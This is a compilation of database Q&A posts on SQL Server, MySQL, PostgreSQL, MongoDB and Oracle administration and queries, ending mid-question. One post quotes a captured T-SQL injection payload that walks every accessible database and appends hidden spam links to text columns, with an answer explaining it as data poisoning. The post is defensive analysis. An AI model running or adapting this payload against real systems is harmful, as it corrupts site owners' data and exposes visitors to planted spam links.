Why does SQL Server require non-clustered index to use unique keys? According to https://stackoverflow.com/questions/4332982/do-clustered-indexes-have-to-be-unique

The answer is yes. In the sense that SQL Server will make it unique by appending 4-bytes to key. This makes sense given that clustered index is used for data addressing purposes (Correct?).

According to my research, it seems that SQL Server requires non-clustered indexes to be unique as well. And when non-unique column is used, SQL Server appends a 4-byte "uniquefier" value to make it unique. Is that correct?

Why does SQL Server require non-clustered index to use unique keys?

Probably it simplifies the engine a lot because you can now address individual rows.

Imagine, you are indexing on a IsMale bit column and there are 1 million "male" values. Now you want to address exactly one of those rows to delete it. The index has 1 million rows that just say true and nothing more. I'm sure it's possible but uniqueness makes the design much more elegant.

Locking requires index rows to be uniquely identifiable.


two level joins in select query i have 3 tables: posts, tags and post_tags

in post_tags i store post tags! and a post can have many tags

Now i want to select all tag names of post 1 while selecting post's own columns.

posts columns are: id, title
tags columns are: id, name
post_tags columns are: id, post_id, tag_id

I have reached up to here, but this returns only one tag name for post, not all tags: (any ideas ?)

select
     p.*, t.name as tag_name
from
     posts p
     inner join posts_tags pt on p.id = pt.post_id
     inner join tags t on pt.tag_id = t.id
where
     p.id = 1

Your answer is correct, and should show as many tags as there are, in different rows. You can check it at Rextester.

If you want all your tags to be converted into a single column (all tags concatened), and have just one row per post, you need to aggregate (GROUP BY) and use then GROUP_CONCAT function.

Your query will look like (I've slightly changed the naming of your columns, for legibility):

-- All tags concat
SELECT
     p.post_id, p.post, group_concat(t.tag ORDER BY t.tag SEPARATOR ', ') AS all_tags
FROM
     posts p
     inner join posts_tags pt on p.post_id = pt.post_id
     inner join tags t on pt.tag_id = t.tag_id
WHERE
     p.post_id = 1
GROUP BY
     p.post_id, p.post ;

Check it here

Addendum

If you want not only tags, but something else, you can aggregate an expressions, and not just a column:

-- All tags, with id concat
SELECT
     p.post_id, p.post,
     group_concat( concat(t.tag, ' [', t.tag_id, ']') ORDER BY t.tag SEPARATOR ', ')
        AS all_tags_with_ids
FROM
     posts p
     inner join posts_tags pt on p.post_id = pt.post_id
     inner join tags t on pt.tag_id = t.tag_id
WHERE
     p.post_id = 1
GROUP BY
     p.post_id, p.post ;

Check it here.


Transfer selected information from a SQL Server business server to a MySQL web server? I have a SQL Server dedicated server used for business information on service users etc, and a VPN with MySQL for the main website operation. I wish to transfer some selected tables from SQL Server to MySQL in order to provide statistics on the website, and reduce load on the business server. Primary keys etc are not really important for the transfer - just the main data.

Is it as straight forward as finding a PHP script and setting up a cronjob on the web server to run every hour or so? Really I am unsure about the most practical/safest method to do this?

I've had to do this a couple of times, with varying complexity. My typical approach is to install the MySQL ODBC connector on the SQL Server host, create an ODBC DSN to the MySQL database, then set it up as a linked server in SQL Server.

Once that's out of the way, you can write T-SQL procedures/scripts to synchronize and replicate the necessary data.


How to split the Wordpress database? FYI - I originally posted this question under the Wordpress Development site here:

https://wordpress.stackexchange.com/questions/145861/how-to-split-the-wordpress-database

I have a site that is used to log client and meal information. It is based on Wordpress, but has quite a bit of custom code. We have custom taxonomies set for the client and meal data.

Our problem is that the database has gotten quite large and it's causing the site to operate very slow. I would like to essentially archive out the different years of the database into separate databases so that we could still refer back to some of the data if we needed to, but decrease the size of the database for the active year.

I've searched for an archival tool or plugin that could do this, but haven't been able to find anything (most of the results are for Wordpress archives - not the actual process of archiving out data from the Wordpress database). For example, in my database, the "postmeta" table currently has 2,656,529 rows, the "posts" table has 241,725 rows, and the "term_relationships" table has 1,164,119 rows. The entire size of the database is 356.7 MB.

We have custom reports created for the front-end admins to be able to generate meal & client reports, but they now will break if you select a date range longer than 1 month.

FYI - I've ran the WP Optimize plugin and have removed all post revisions already (which were very few to begin with). What I need to do is actually split these tables of the database up so that all of the meals that have been logged for 2012 are separate from 2013 which neesd to be separate from 2014.

Does anyone have any suggestions as to what we can do to get the database under control?

At almost 3 million rows in the postmeta table and almost 250,000 rows in the posts table, it sounds like you have long-ago outgrown WordPress.

The custom post types and custom taxonomies in WordPress were developed as an after-thought so the implementation won't be that efficient. (A lot of WordPress isn't very efficient, but that's another thing altogether.)

Rather than building a "hack" to work around the WordPress "hack" that is custom post types and custom taxonomies, I would suggest moving the client and meal data out of the posts and postmeta table and moving them into a custom table(s). You can still use WordPress as the CMS for the site (and even use their database classes and helpers), but you'll gain a lot of efficiency by creating your own tables and PHP code to manage this information instead of trying to make it work in tables that weren't designed to hold that data...

One example that comes to mind is the GigPress plugin, which creates its own tables to store event/artist/venue information, not the posts and postmeta table.

The biggest problem I see with trying to modify or partition the native WordPress tables is that whenever WordPress is updated, it could/would break your changes. You don't want to put yourself in a position where you have to spend lots of time just to update to a newer version of WordPress.


how mongo db does locking for updates/inserts? I have many data for each user that with write heavy and many for each separate users that there is not any relation between user's data; so there is two options for me to store them:
1. keep all user's data in one collection that is much easier, and
2. keep every user's data in a separate collection;
Now i need to know is a locking battle-neck for parallel writes in first option or not, while my updates/inserts are many but on one by one (there is no need to update/insert many (multi: true).
does mongo lock the whole collection for an updateOne/insertOne (multe: false) or only does it for updateMany/insertMany (multi: true) cases?

According the documentation MongoDB locks the database only when create an index in the foreground ( this option does not exists any more in MongoDB 4.2. ).

On the other hand the collection are never exclusively locks.

See more what locks are taken on MongoDB on What locks are taken by some common client operations?


How to insert json into a table and have certain columns remain json I want to insert data into a table where the first level keys are inserted as values and not as json. Although column "p_attribute" needs to store the nested json. For example, in case of Jane Doe, I want her attribute column to look like this:

I can only achieve this by updating the column p_attribute with:

update json_table
set p_attribute =(
    '{
    "p_attribute": {
    "age": "37",
    "eye_color": "blue",
    "favourite_qoute": "I am the classic example"
    }
    }'
)

Now I want to create the above picture in one insert, like this:

insert into json_table
select * from json_populate_recordset (NULL::json_table,
    '[{
    "p_id": 1,
    "first_name":   "Jane",
    "last_name":    "Doe",
    "p_attributes": {
        "age": "37",
        "eye_color": "blue",
        "favourite_qoute": "I am the classic example"
        }
    }]';

But I execute this insert then the p_attribute column gets a null but the rest of the columns are correctly inserted:

Im using PostgreSQL 12 and my table looks like this:

create table json_table (
    p_id int primary key,
    first_name varchar(20),
    last_name varchar(20),
    p_attribute json
)

The actual column name "p_attribute" and the key "p_attributes" in the json format were different...


Why do we use use DaaS Hi why do we use Database as a Service such as Mlab instead of a local db that resides on the same computer / building as our codes, wouldn't a remote db slows down request and response?

A DBaaS such as MongoDB Atlas is beneficial to the longterm growth of an application.  Running a database as a localhost server provides no redundancy and no capability of enduring failure.

A localhost database will eventually run out of local disk space, a
DBaaS should allow you to expand disk on the fly.
A localhost database will never simply notify you of issues, a DBaaS
should contact you about any pre-defined problems.
A localhost database can't back itself up, a DBaaS should provide
database backup options.
A localhost database will not know how to handle a large influx of
new reads, a DBaaS will allow you to dynamically scale your DB while
allowing your front end app and cache to handle incoming new traffic.

Network speeds in both traditional datacenter and "cloud" solutions such as Amazon Web Services can leverage low latency networks.  These low latency networks have the capabilities of providing high performance data access speeds to keep up with the most frequently accessed documents in a database such as MongoDB.

There's never a reason to install a database in production and leave it alone on your prod server.  Your database will likely not use the same best practices as you should configure when in production.  Based on these very basic examples, you can see why so many companies do not believe in using a standalone DB on localhost, they put trust in DBaaS services.


What are the benefits of moving redologs, data- and controlfiles to another location? I have installed Oracle 18c XE and was wondering what benefits/disadvantages would come from seperating the data that is stored inside the databases managed by the dbms and the actual Oracle installation (Oracle_Home).
I ask this because it is possible to move Redologs, Datafiles and Controlfiles. I just don't have an idea why anybody would do that.

Seperate locations may have different performance characteristics or high availability or other properties.
For example you may use slower and cheaper storage for data that is rarely accessed, or a location with lower redundancy settings for temporary files.
To be honest, we rarely ever bother with this.
In a clustered environment, the data is stored in a shared location, but the Oracle database software is typically stored on some local storage location.


RMAN Overhead on the database What is the overhead of RMAN hot backup (full backup including archive logs) being performed during business hours?

Does it actually affect the performance of the database?

What is the case when incremental backups are taken in terms of overhead?

That depends on your disk subsystem.

A full backup is going to involve a metric crud-load of I/O (that is a technical term).  That is going to put a huge load on your I/O subsystem.  Depending on how I/O bound your system is, how much spare bandwidth your I/O subsystem has, how fast your I/O subsystem is, etc. the impact will range from "yeah, maybe it's a bit slower" to "everything times out, the system is unusable, users will be visiting the DBA team shortly with flaming pitchforks to express their displeasure."

I am hard-pressed to imagine a whole lot of situations where I'd ever want a full backup running on a non-trivial production database during anything close to business hours.  If you have a real need to do this, I'd tend to be investigating things like DataGuard that would potentially allow you to offload the load of doing the backup to the standby database.


How to see special characters in MySQL Workbench query results? In my Database, I made a small mistake by inserting a blank (space character) after a value like this:
INSERT INTO MYTABLE(country_name, code, value) values ('France', 'FR ', 345);

When making a simple query in mySQLWorkbench:
SELECT * from MYTABLE;

The table shows
-------------------------------
| country_name | code | value |
-------------------------------
| France       | FR   |   345 |
-------------------------------
etc...

The space character is not visible in the output.
Because we were able to debug our application we found the extra space character but if you don't know what to look for, it is very difficult to catch that kind of error.
Is there any way to let mySQLWorkbench to display those special characters?
As a workaround I used this query:
SELECT t.id, CONCAT("'",  t.country_name, "'") AS Country,
    CONCAT("'",  t.code, "'") AS CountryCode,
    t.value
FROM MYTABLE t

But you have to know which column is a VARCHAR and which are not (e.g. value is a number).
The version I use is: MySQLWorkbench 6.0.8.11354 build 833

I doubt if there is an easier way than that CONCAT to see the spaces.  (And that will fail for various esoteric characters.)

Here's another way; it is more practical for more complex situations:

SELECT HEX(`code`) ...

It will return 465220. for "FR ".

Declare it this way:

code CHAR(2) CHARACTER SET ascii NOT NULL

The (2) will truncate to 2 characters (perhaps with a warning); the rest is appropriate for a "country code" column.

(When asking questions, specify MySQL version.)


INSERT INTO with PK andFK I have the following problem:

I created two tables:

CREATE TABLE DimServers
(
    [ID_DimServer] INT NOT NULL IDENTITY(1,1) PRIMARY KEY ,
    [ServerName] VARCHAR(13) NOT NULL,
    [Domain] VARCHAR(10) NOT NULL,
    [PIT] VARCHAR(4),
    [PhysicalMemoryMB] INT,
    [AvailablePhysicalMemoryMB] INT,
    [MemoryInUseMB] INT,
    [CPU] INT,
    [HyperthreadRatio] INT,
    [SystemUpTime] VARCHAR(50),
    [WindowsVersion] VARCHAR(50) NOT NULL
)

CREATE TABLE DimDrives
(
    [ID_DimDrive] INT NOT NULL IDENTITY(1,1) PRIMARY KEY,
    [DimServer_ID] INT FOREIGN KEY REFERENCES DimServers(ID_DimServer),
    [Drive] VARCHAR(1) NOT NULL)
)

After that I do an INSert with data from an another server:

INSERT INTO DimServers
(
    [ServerName],
    [Domain],
    [PIT],
    [PhysicalMemoryMB],
    [AvailablePhysicalMemoryMB],
    [MemoryInUseMB],
    [CPU],
    [HyperthreadRatio],
    [SystemUpTime],
    [WindowsVersion]
)
SELECT
     sq.[ComputerNamePhysicalNetBIOS],
     sq.[Domain],
     sq.[PIT],
     sq.[TotalPhysicalMemoryMB],
     sq.[AvailPhysicalMemoryMB],
     sq.[MemInUseMB],
     sq.[cpu_count],
     sq.[hyperthread_ratio],
     sq.[SystemUpTime],
     sq.[WindowsVersion]
FROM [x].[y].[dbo].[sqlsysinfo] as sq

Now I don't know how to do it, if it has a foreign key.

Since it doesn't appear that DimServers references any other tables, you should not have any problems inserting rows into that table.

However, DimDrives has a foreign key reference to DimServers.  When you insert any rows into DimDrives, the value that is in the DimServer_ID column MUST exist in the column ID_DimServer on the DimServers table.

If you attempt to insert a row in the DimDrives table where the column value for DimServer_ID does NOT exist in the DimServers table in the column ID_DimServer, you'll get a foreign key violation error

The INSERT statement conflicted with the FOREIGN KEY constraint


When is it safe to disable InnoDB doublewrite buffering? MySQL InnoDB allows us to disable doublewrite buffering by setting innodb_doublewrite = 0. Other databases doesn't seem to allow this setting to be tweaked.

How could InnoDB still be able to maintain data integrity and ACID if we disable doublewrite buffering?

In what situations will it be safe to turn off InnoDB doublewrite buffer?

The only situation I can think of is reloading a large mysqldump. Why ?

Check out this Pictorial Representation of InnoDB (Percona CTO Vadim Tkachenko)

From the picture, you can see that the InnoDB Buffer Pool writes dirty pages to

Log Buffer
Insert Buffer in ibdata1
Double Write Buffer in ibdata1
.ibd file for each InnoDB table

Shutting off the Double Write Buffer will let a mysqldump write data and index pages in the tables faster since it does not have to write the same 16K pages to ibdata1.

Production Servers should never have the Double Write Buffer disabled. If you do so for loading data faster (during maintenance of course), enable it immediately after reloading the DB Server.

In other words,

Add innodb_doublewrite = 0 to my.cnf
Run SET GLOBAL innodb_fast_shutdown = 0;
Restart mysql
Load mysqldump
Remove innodb_doublewrite = 0 from my.cnf
Run SET GLOBAL innodb_fast_shutdown = 0;
Restart mysql


MongoDB replica set quorum config (network partitioning behaviour) I use mongodb 4.0.10. I want to establish a quorum for a cluster of one primary node and two secondary nodes as written here. When the number of nodes is less than the quorum, 3 nodes in my case, cluster goes to readonly (no election).

I`ve tried to set priority of two nodes to 0, in this case if primary goes down, there is no election, but if one of secondaries goes down, old primary still exists.

According to MongoDB docs terminology is it possible to set a replica set Fault Tolerance to zero? It means that if any of cluster nodes goes down new primary will not be elected.

UPDATE
rs.conf():

rs0:PRIMARY> rs.conf()
{
        "_id" : "rs0",
        "version" : 4,
        "protocolVersion" : NumberLong(1),
        "writeConcernMajorityJournalDefault" : true,
        "members" : [
                {
                        "_id" : 0,
                        "host" : "mongo0:27017",
                        "arbiterOnly" : false,
                        "buildIndexes" : true,
                        "hidden" : false,
                        "priority" : 1,
                        "tags" : {

                        },
                        "slaveDelay" : NumberLong(0),
                        "votes" : 1
                },
                {
                        "_id" : 1,
                        "host" : "mongo1:27017",
                        "arbiterOnly" : false,
                        "buildIndexes" : true,
                        "hidden" : false,
                        "priority" : 0,
                        "tags" : {

                        },
                        "slaveDelay" : NumberLong(0),
                        "votes" : 0
                },
                {
                        "_id" : 2,
                        "host" : "mongo2:27017",
                        "arbiterOnly" : false,
                        "buildIndexes" : true,
                        "hidden" : false,
                        "priority" : 0,
                        "tags" : {

                        },
                        "slaveDelay" : NumberLong(0),
                        "votes" : 0
                }
        ],
        "settings" : {
                "chainingAllowed" : true,
                "heartbeatIntervalMillis" : 2000,
                "heartbeatTimeoutSecs" : 10,
                "electionTimeoutMillis" : 10000,
                "catchUpTimeoutMillis" : -1,
                "catchUpTakeoverDelayMillis" : 30000,
                "getLastErrorModes" : {

                },
                "getLastErrorDefaults" : {
                        "w" : 1,
                        "wtimeout" : 0
                },
                "replicaSetId" : ObjectId("5cf5011183ea2fa5beade86b")
        }
}

I want to set a quorum rule to 3. It`s a split-brain protection measure. It means that if no 3 alive nodes in the cluster there is no able to write, only to read. I set priority of secondary nodes to 0, it means that if primary fails - no new primary will be elected. It works fine, but I also want to configure such primary node behaviour: if any secondary nodes are not available in the cluster - primary change status to secondary till all cluster members will be available again.

I want to set a quorum rule to 3. It`s a split-brain protection measure. It means that if no 3 alive nodes in the cluster there is no able to write, only to read.

Split brain usually refers to a scenario where you have inconsistent data on both sides of a partition, for example with different writes accepted. The quorum requirement in MongoDB replication is designed to avoid that: a primary can only be elected (or sustained) in a partition that has a majority of configured voting members available. Any minority partitions will be increasingly stale, but will still have consistent history with a possibility of resuming sync when the network partition is resolved.

  I also want to configure such primary node behaviour: if any secondary nodes are not available in the cluster - primary change status to secondary till all cluster members will be available again.

This is an atypical configuration since it does not allow for any fault tolerance for writes (which is one of the key benefits of replica sets). A recommended approach would be configure all of your nodes as voting, use w:majority to require majority writes, and use read concern majority to ensure documents read are guaranteed not to roll back. The maxStalenessSeconds read preference can also be useful if you are concerned about reading from a secondary that has fallen too far behind.

However, if you want to ensure writes only succeed with all members available, you could consider one of the following approaches:

Use a w:3 write concern to require acknowledgement from all 3 members of your replica set.
Configure your replica set with 2 replica set members (instead of 3) which are both voting. This will require both members online in order to elect or sustain a primary.


Explain how this real injection attempt works We use stored procedures and so far we haven't detected any injections that have been successful, but we see attempts all of the time.  I started logging some of the data hoping to gain insight on what people were attempting and possibly use it to block any future attempts by new methods.  Here is the code of something someone tried to run on our site today, they tried it with syntax 8 different ways.  I can understand some of it, but not all of it.  So I was hoping someone else who knows more could tell me how exactly this works and what it was trying to do (I believe it was trying to insert links to a page using hidden divs in MAX columns in all of our databases).

declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''my wife cheated now what do i do ''+char(60)+''a href="http:''+char(47)+char(47)+''www.femchoice.org''+char(47)+''femchoice.org''+char(47)+''page''+char(47)+''wife-cheated-on-me-now-what.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''femchoice.org'''' when 1 then ''''femchoice.org'''' else ''''femchoice.org'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' what to do when your wife cheated on you''

That's exactly how it was injected.  They declare some variables to move data around, then get the name of each of the non-system databases.  From there I'm not sure what it's doing but I'm guessing it goes through all the tables looking for max columns and if it finds one, it finds some rows and writes links to them.

The classic SQL injection attack attempts to extract sensitive data through the user interface. This, however, seems to be poisioning your data by appending valid HTML to it. The attacker's assumption is that you trust data coming from the DB so are likely to embed it directly into your web app's output and thus display to your users links to their site.


Attaching a database (created in SQL Server 2012) to an instance of SQL Server 2014 without upgrading it I've a database in a production server (SQL Server 2012) and I've a development server (SQL Server 2014).

I need to attach the database in the development server but I've realized that once attached it's automatically upgraded to the version 2014 so I can't attach it again in the production server.

Is it possible to attach the database in the development server without upgrading it?

We are planning to make changes in dev, detach, and attach it back to production.

It is not possible for that upgrade to not happen. There are changes required for the database to be attached and usable on newer versions.

This is under-the-hood stuff like internal references and pointer formats, the exact internal changes from version to version aren't documented. See here for some detail if only to satisfy your curiosity, but I would never risk trying to edit those bits directly.

It is possible to not change the compatibility level of the database, however you would still not be able to take a backup of that database and restore it to another SQL Server 2012 instance.

Because of differences in server/database versions your production and development servers should be on the same versions to really get the full benefit of testing in dev. If you aren't going to upgrade production soon, then you could downgrade dev.


Security implications of guest account and database chaining on sql server? I have another database Ydb accessing data in database Kdb.  They both have the same owner.
In order to allow cross database chaining, it seems I need the guest user to be enabled in Kdb.

I did so like this:

USE [master];
GO
ALTER DATABASE Ydb SET DB_CHAINING ON;
ALTER DATABASE Kdb SET DB_CHAINING ON;
GO
USE [Kdb]
GO
GRANT CONNECT TO guest;

I realize this means stored procedures in Ydb created by Ydb's owner may freely access objects in Kdb when created by the same login.  What kinds of attacks does this open up?

It does not open up directly to an "attack".
It just means that any user from Database 1 (Kdb) can also access database 2 (Ydb).
What's usually more critical is, when you have users with DDL-Permissions (create views, procedures) - they will also be able to access objects in database2. Maybe even more, than plain guests can. That depends on the object owners and permissions you are planning to grant to guest(s).

Under SQL Server before 2012, there was one little security hole, described here:
Security-issue: guest-guest impersonation, but this is a very limited scenario


Does Postgres CHECKPOINT process affects streaming replication? Does Postgres CHECKPOINT process affect async streaming replication in any way?
If checkpoint_timeout is increased from 5min (default) to 30min, then CHECKPOINT processes will be triggered less often (some other parameters needs to be adjusted as well). If primary node crashes, then it will probably take more time to recover. But I have Patroni configured and it will failover primary to the other node in case of crash.
My question is - will failover last longer if checkpoints on old primary node are triggered less often?
I think it should not affect failover process, because WAL records are already replicated and applied on secondary node, but I want to confirm that.

You are correct, the speed of promoting a standby is not affected by checkpoint timing on the primary. WAL is streamed to the standby as soon as possible, and writing WAL is mostly independent of checkpoints (the only connections are that a checkpoint writes a WAL record and removes obsolete WAL segments).
What can delay promotion is if there is a conflict that prevents replaying WAL on the standby, but that's something entirely different.


Trigger INSERTING into a row I am trying to create a Trigger that will fire when a new student is being added to the table. It should update the a table called: MAJOR, by incrementing its MCOUNT domain by one.

CREATE TABLE STUDENT(
SID     CHAR(7),
SName       VARCHAR2(20),
SMajor      CHAR(3)
CHECK (SMajor in ('CSC', 'MIS', 'TDC')),
CONSTRAINT PK_STUDENT
PRIMARY KEY (SID)
);

CREATE TABLE MAJOR(
MName       CHAR(3) PRIMARY KEY,
MCount      NUMBER(3) );
INSERT INTO MAJOR VALUES ('CSC', 0);
INSERT INTO MAJOR VALUES ('MIS', 0);
INSERT INTO MAJOR VALUES ('TDC', 0);
SELECT * FROM MAJOR;
COMMIT;

My trigger:

CREATE OR REPLACE TRIGGER addingS
AFTER INSERT ON STUDENT
    FOR EACH ROW
    DECLARE
        counter NUMBER (3);
    BEGIN
        DBMS_OUTPUT.PUT_LINE('Adding student.');
        counter := counter + 1;
        UPDATE MAJOR
        SET MCOUNT = counter
        WHERE MCOUNT = 0;
    END;
    /

It is not updating, now my MCOUNT's value is empty, why is that?

I think that counter is NULL because you don't assign it a value. And after you increment it, nothing changes because NULL + 1 = NULL. Also your UPDATE will not work if MCOUNT is not 0.

Unrelated: I suggest to use a foreign key instead of CHECK.


Query that always worked now hangs indefinitely many years ago I coded a stored procedure containing the following SQL (for a client's backend website) and it has always worked fine for them right up until a few days ago when it started to fail with a timeout message. When I run the SP directly in SSMS it just doesn't terminate, I left it running for 90 minutes and it neither timed out nor completed. In the past it would have run fine in just a few seconds.

During the query the CPU maxes out, but RAM usage stays reasonable.

We have moved to a faster server with more RAM and the latest version of SQPEXPRESS (10.50.4000.0) but this has not fixed the problem. (BTW i'm aware of the single-core limitation of SQLEXPRESS, but that's what we are having to use)

The database tables involved are pretty large, but have only been very slowly increasing in size over the years and the code has always worked pretty quickly right up until recently.

Unfortunately the project was so long ago that I have very little idea about what is going on in the code even though I created it myself!

My hunch is that the query involves an exponential increase in CPU cycles as the table sizes increase, and that we've now hit a critical point in size.

My knowledge of SQL Server is patchy, especially after several years of non-involvement. Would I be right in thinking that this can be tackled by adding indexes? If so how should I go about it?

Or perhaps the script needs to be recoded using a different approach?

Any help greatly appreciated!

select DISTINCT
Pprin.product_id as printerID,
dbo.deduceMFRfromSubCatName(subcat.category) as MFRdeduced,
RTRIM(ISNULL(ECAT.category,'NOCAT')) + '///' + RTRIM(ISNULL(SubCat.category, 'NOSUBCAT')) + '///' AS catPath,
ISNULL(PO.forceName,Pprin.model_name) as approvedPrinterName,
max(M.dateCreated) as newestProductCreated,
max(M.lastUpdated) as mostRecentProductEdit,
max(M.lastIceCatFetch) as latestProductSheetFetch,
isnull(PO.dateForced, '1-Dec-2012') as nameApprovalDate

from xtra_icecat_printers1_rel_carts2 R
inner join xtra_icecat_allproducts Pcart on R.prodID2 = Pcart.product_id
inner join xtra_itemmaster I on dbo.dataSKU(I.SKUlite) = Pcart.SKUlite
inner join xtra_SKUmaster M on dbo.dataSKU(M.SKUlite) = Pcart.SKUlite
inner join xtra_icecat_allproducts Pprin on R.prodid1 = Pprin.product_id
inner join xtra_icecat_productdata Dprin on R.prodid1 = Dprin.product_id
left join Xtra_IceCat_Cats CA on CA.catID=Pprin.category_id
left join Xtra_IceCat_PrinterNameOverride PO on R.prodid1 = PO.printerID
left join category ECAT on ECAT.CatID=I.CatID
left join subcategory Subcat on Subcat.SubcatID=I.subCatID
where copyOfPrinterID=Dprin.product_id and isnull(PO.forceName,'OFF')<>'OFF'
group by Pprin.product_id, forceName, ECAT.category, subcat.category, Pprin.model_name, PO.dateForced
order by Pprin.product_id

dbo.dataSKU function (from comments):

ALTER FUNCTION [dbo].[dataSKU] (@SKUlite as varchar(25))
RETURNS varchar(25)
AS
BEGIN
  IF @SKUlite LIKE '%COMP'
    SET @SKUlite = LEFT(@SKUlite, LEN(@SKUlite)-4)
  RETURN @SKUlite
END;

Here's what I'd generally do. I apologize if the indexes are duplicative to what you already have. I started looking at the output you posted, but there was  lot in there that I didn't have time to weed through.

Architecture:

Replace WHERE CLAUSE function dbo.dataSKU with a computed column in xtra_itemmaster and xtra_SKUmaster. I don't mean use the function in a computed column, I mean pull out the code you showed me and put that in one.

You can do that with a case expression like this (not copy and paste-able)

ALTER TABLE dbo.Table ADD [Computed SKU Column Name Here] AS CASE WHEN SKUlite LIKE '%COMP' THEN left(SKUlite, len(SKUlite)-4) ELSE SKUlite END /*PERSISTED if possible*/

That will allow you to index the computed expression, which should make the joins more efficient.

Query:

After adding indexes, play with removing the distinct. You're already grouping by a bunch of columns, so I'm not sure what else you're getting out of this.

Pull out the order by Pprin.product_id unless you really need it.

Replace dbo.deduceMFRfromSubCatName with inline table valued function. I can't do this rewrite, even if you show me the code.

Indexes I'd like:

xtra_icecat_printers1_rel_carts2
 - (prodid1, prodID2)

xtra_icecat_allproducts
 - (product_id, SKUlite)

xtra_itemmaster
 - ([Computed SKU column], CatID, subCatID)

xtra_SKUmaster
 - ([Computed SKU column], dateCreated, lastUpdated, lastIceCatFetch)

xtra_icecat_allproducts
 - (product_id, category_id) INCLUDE (model_name)

xtra_icecat_productdata
 - (product_id)

Xtra_IceCat_Cats
 - (catID)

Xtra_IceCat_PrinterNameOverride
 - (printerID) INCLUDE (forceName, dateForced)

category
 - (CatID)

subcategory
(SubcatID) INCLUDE (category)

And, as discussed in the comments, replace the ISNULL in the WHERE clause as well.

Hope this helps!


case statement sub query need to return multiple values Below query need to return multiple values

select

CASE WHEN LTRIM(RTRIM([Order].ClientProject_Id))!=''
THEN (SELECT StationeryClientProject.ImpFile from StationeryClientProject
      WHERE StationeryClientProject.ClientProject_Id = [Order].ClientProject_Id)
ELSE (SELECT Stationery.ImpFile from Stationery
      WHERE Stationery.Stationery_Id = [Order].Stationery_Id)
END AS ImpFile

FROM [Order]
LEFT OUTER JOIN ClientProject ON ClientProject.ClientProject_Id = [Order].ClientProject_Id
LEFT OUTER JOIN StationeryClientProject ON StationeryClientProject.ClientProject_Id = [Order].ClientProject_Id
LEFT OUTER JOIN Stationery ON Stationery.Stationery_Id = [Order].Stationery_Id

but it was showing up an error

  Msg 512, Level 16, State 1, Line 1 Subquery returned more than 1
  value. This is not permitted when the subquery follows =, !=, <, <= ,
  >, >= or when the subquery is used as an expression.

Not sure how to handle it. any help would be highly appreciated

This should work:

select

CASE WHEN LTRIM(RTRIM([Order].ClientProject_Id))!=''
    THEN StationeryClientProject.ImpFile
ELSE Stationery.ImpFile
END AS ImpFile

FROM [Order]
    LEFT OUTER JOIN ClientProject ON   ClientProject.ClientProject_Id = [Order].ClientProject_Id
    LEFT OUTER JOIN StationeryClientProject ON StationeryClientProject.ClientProject_Id = [Order].ClientProject_Id
    LEFT OUTER JOIN Stationery ON Stationery.Stationery_Id = [Order].Stationery_Id

The error message is caused by multiple rows being returned inside the case statement.  Since you are already returning the required rows in your FROM clause, you can simply reference the required columns in the case statement.


Reducing the size of a 500 Gb database on standard edition One of my clients has requested to find any options to reduce the size of some of the tables in this 500 GB database that are huge in size, and causes issues with read performance. My client would be migrating to SQL 2016 soon. Is there an approach or a way to have it reduced and increase the read performance as well.

Here's my answers in the order that I'd do them:

1. Remove tables you no longer need. Go into SSMS, Object Explorer, click on the tables folder for your database, and then open Object Explorer Details by clicking View, Object Explorer Details. From there, you can right-click on columns to show data size and index size, and you can sort by either one. I find that often, folks left backup tables they didn't know about.

2. Remove unused indexes. Use sp_BlitzIndex in the First Responder Kit (disclaimer: I'm one of the authors) to remove nonclustered indexes that aren't being used. Bonus points for removing duplicate and near-duplicate indexes.

3. Check the server's bottlenecks. From the First Responder Kit again, run sp_BlitzFirst @SinceStartup = 1 to get your wait stats since startup. If the top wait is PAGEIOLATCH, that means reading data pages from the data file. In that case, try maxing out your memory. 2008R2 Standard Edition takes 64GB just for the buffer pool, and can use more memory than that for other purposes. Make sure your server has at least 96GB RAM. (I'm not saying it's always a good idea to throw hardware at the problem, but my desktop has 64GB of RAM, and the rest of these changes are going to be more and more disruptive.)

If your top wait stat is anything other than PAGEIOLATCH, then focus on the top wait type instead, because reducing the database size may not help performance.

4. Implement desperately needed indexes. When your database won't fit in RAM, the index designs become much more important. You'll see the list of desperately needed missing indexes from sp_BlitzIndex in the prior step, but also consider running sp_BlitzCache @SortOrder = 'reads' (again, from our First Responder Kit) to identify the queries doing the most logical reads. Often, their plans will have missing indexes right there, and again, you can implement those to reduce the amount of data you need to read from disk.

5. Double-check storage speeds. In an earlier step, I recommended running sp_BlitzFirst @SinceStartup = 1. Now that you've pruned indexes, tuned queries, and right-sized RAM, it's time to circle back to that same command again - only this time, instead of looking at your wait stats, look at the PHYSICAL READS section. That identifies which data files you've been reading from, and what their average latency is. If your average read latency is over, say, 100ms, it's time to start asking questions about storage performance.


sparse column or DATA_COMPRESSION? in one of my databases I have the following table:

CREATE TABLE [app].[applicantSkill](
    [ApplicantSkillID] [int] IDENTITY(1,1) NOT NULL,
    [applicantID] [int] NOT NULL,
    [skillID] [tinyint] NOT NULL,
    [skillDetails] [varchar](500) NULL,
    [skillLevelID] [tinyint] SPARSE  NULL,
    [dateAdded] [datetime2](7) NOT NULL,
    [lastModified] [datetime2](7) NOT NULL,
 CONSTRAINT [PK_tbl_applicant_skill] PRIMARY KEY CLUSTERED
(
    [ApplicantSkillID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [UserFG],
 CONSTRAINT [uc_appSkillID] UNIQUE NONCLUSTERED
(
    [applicantID] ASC,
    [skillID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [UserFG]
) ON [UserFG]
GO

which has 1 sparse column - skillLevelID

when I have to re-create my index:

CREATE NONCLUSTERED INDEX I_applicantID
